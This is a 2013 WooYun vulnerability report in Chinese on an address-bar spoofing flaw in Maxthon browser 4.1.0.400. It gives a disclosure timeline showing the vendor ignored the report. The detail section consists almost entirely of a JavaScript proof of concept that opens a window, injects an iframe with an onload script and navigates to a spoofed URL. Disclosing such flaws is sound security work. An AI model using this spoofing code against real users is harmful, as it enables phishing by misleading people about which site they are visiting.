WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-031195

漏洞标题：傲游浏览器4.1.0.400伪造地址欺诈漏洞

相关厂商：傲游

漏洞作者： blast

提交时间：2013-07-19 10:52

修复时间：2013-10-14 10:53

公开时间：2013-10-14 10:53

漏洞类型：设计错误/逻辑缺陷

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2013-07-19： 细节已通知厂商并且等待厂商处理中
2013-07-24： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2013-09-17： 细节向核心白帽子及相关领域专家公开
2013-09-27： 细节向普通白帽子公开
2013-10-07： 细节向实习白帽子公开
2013-10-14： 细节向公众公开

简要描述：

你们倒是修一下呀=。= 报了两个都是5天后自动忽略……
http://wooyun.org/bugs/wooyun-2010-027808
http://wooyun.org/bugs/wooyun-2010-027807

详细说明：

<script>
function poc(){
var w=open('about:blank');
setTimeout(function(){
w.document.body.innerHTML='<iframe id=g src=http://www.google.com width=100% height=100%  onload=\'javascript:function/**/createXHR(){return/**/window.XMLHttpRequest?new/**/XMLHttpRequest():new/**/ActiveXObject("Microsoft.XMLHTTP");}function/**/getlocal(url){xmlHttp=createXHR();xmlHttp.open("GET",url,false);xmlHttp.send();result=xmlHttp.responseText;return/**/result;}function/**/main(){url="http://www.google.com/";alert(url);location.href="http://www.baidu.com:55858/login.php?prompt=!!spoof!!test!!";result=getlocal(url);alert(result);}main();\'>';
//
 
},100);
}
</script>
<button onclick=poc();>打开</button>

漏洞证明：

修复方案：

版权声明：转载请注明来源 blast@乌云

漏洞回应